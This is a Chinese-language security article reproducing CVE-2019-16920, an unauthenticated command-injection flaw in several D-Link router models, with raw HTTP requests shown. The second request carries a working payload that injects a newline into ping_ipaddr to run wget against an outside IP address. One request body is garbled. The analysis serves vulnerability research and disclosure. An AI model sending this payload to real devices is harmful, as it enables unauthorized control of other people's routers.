行业新闻

Dlink路由器RCE漏洞复现

Dlink路由器RCE漏洞复现

近期研究人员发现Dlink路由器可以绕过认证进行远程代码执行,CVE编号:CVE-2019-16920。

主要影响路由器版本:

DIR-655、DIR-866L、DIR-652、DHP-1565

漏洞细节

漏洞起因为路由器对认证部分出现了bug,可以从登录页开始进行详细的分析。

POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Connection: close
Referer: http://192.168.232.128/
Upgrade-Insecure-Requests: 1

html_response_page=login_pic.aspaction input>”)    

5.PNG

可以在图2中发现问题所在,程序可以在未认证的状态下继续执行,因此可以执行SSC_SEC_OBJS列表中的行为。

SSC_SEC_OBJS具体初始化及存储内容如下:

6.PNG

7.PNG

其中可以尝试利用行为:ping_test

8.PNG

该行为实现函数中首先会从ping_ipaddr中取值,并通过inet_aton()进行转换,最终执行ping。

9.PNG

如果尝试输入任何特殊字符,如双引号、引号、分号等,ping将失败。如果我们传递换行符,例如:8.8.8.8%0als,可以执行命令注入。

POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Connection: close
Referer: http://192.168.232.128/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)

结果如下

10.PNG

总结

该漏洞的根本原因是系统命令执行过程中对执行的任意命令缺乏完整的检查,导致非法字符的注入,使得攻击者可以进行远程命令执行,这是许多固件制造商所面临的典型安全隐患。

*参考来源:fortinet,由Kriston编译,转载请注明来自FreeBuf.COM